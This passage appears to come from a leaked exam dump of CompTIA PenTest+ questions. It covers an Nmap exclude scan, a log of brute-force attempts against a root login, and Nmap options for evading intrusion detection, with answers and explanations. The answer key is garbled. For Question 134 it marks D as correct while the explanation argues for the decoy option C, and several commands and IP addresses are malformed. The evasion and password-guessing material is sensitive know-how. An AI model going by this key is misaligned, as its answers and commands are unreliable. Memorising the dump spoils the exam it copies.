Remedial training for the client's systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions.

Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

QUESTION 132
Given the following Nmap scan command:
[root@kali ~]# nmap 192.168.0 .* -- exclude 192.168.0.101

Which of the following is the total number of servers that Nmap will attempt to scan?

A. 1
B. 101
C. 255
D. 256

Correct Answer: C
Section:
Explanation:
The Nmap scan command given will scan all the hosts in the 192.168.0.0/24 subnet, except for the one with the IP address 192.168.0.101. The subnet has 256 possible hosts, but one of them is excluded, so the total number of servers that Nmap will attempt to scan is 255.Reference:
Nmap Commands - 17 Basic Commands for Linux Network, Section: Scan Multiple Hosts, Subsection: Excluding Hosts from Search
Nmap Cheat Sheet 2023: All the Commands and More, Section: Target Specification, Subsection: -exclude

QUESTION 133
A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:

```
[ATTEMPT] target 192.168.1.112 - login "root" - pass "abcde"
[ATTEMPT] target 192.168.1.112 - login "root" - pass "edcfg"
[ATTEMPT] target 192.168.1.112 - login "root" - pass "qazsw"
[ATTEMPT] target 192.168.1.112 - login "root" - pass "tyuio"
```

Which of the following is the penetration tester conducting?

A. Port scan
B. Brute force
C. Credential stuffing
D. DoS attack

Correct Answer: B
Section:
Explanation:
The output shows multiple login attempts with different passwords for the same username ''root'' on the IP address 192.168.1.112. This is indicative of a brute force attack, where an attacker systematically tries various password combinations to gain unauthorized access.Reference:The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 4: Conducting Passive Reconnaissance; The Official CompTIA PenTest+ Student Guide (Exam PT0-002), Lesson 4: Conducting Active Reconnaissance.

QUESTION 134
A security analyst is conducting an unknown environment test from 192.168 3.3. The analyst wants to limit observation of the penetration tester's activities and lower the probability of detection by intrusion protection and detection systems. Which of the following Nmap commands should the analyst use to achieve This objective?

A. Nmap --F 192.168.5.5
B. Map --datalength 2.192.168.5.5
C. Nmap --D 10.5.2.2.168.5.5
D. Map --scanflags SYNFIN 192.168.5.5

Correct Answer: D
Section:
Explanation:
To limit observation of the penetration tester's activities and lower the probability of detection by intrusion protection and detection systems, the security analyst should use theNmap -D 10.5.2.2 192.168.3.3command1. The -D option is used to conceal the identity of the attacker by using decoy IP addresses.This option can be used to confuse the IDS/IPS and lower the probability of detection1.

Vdumps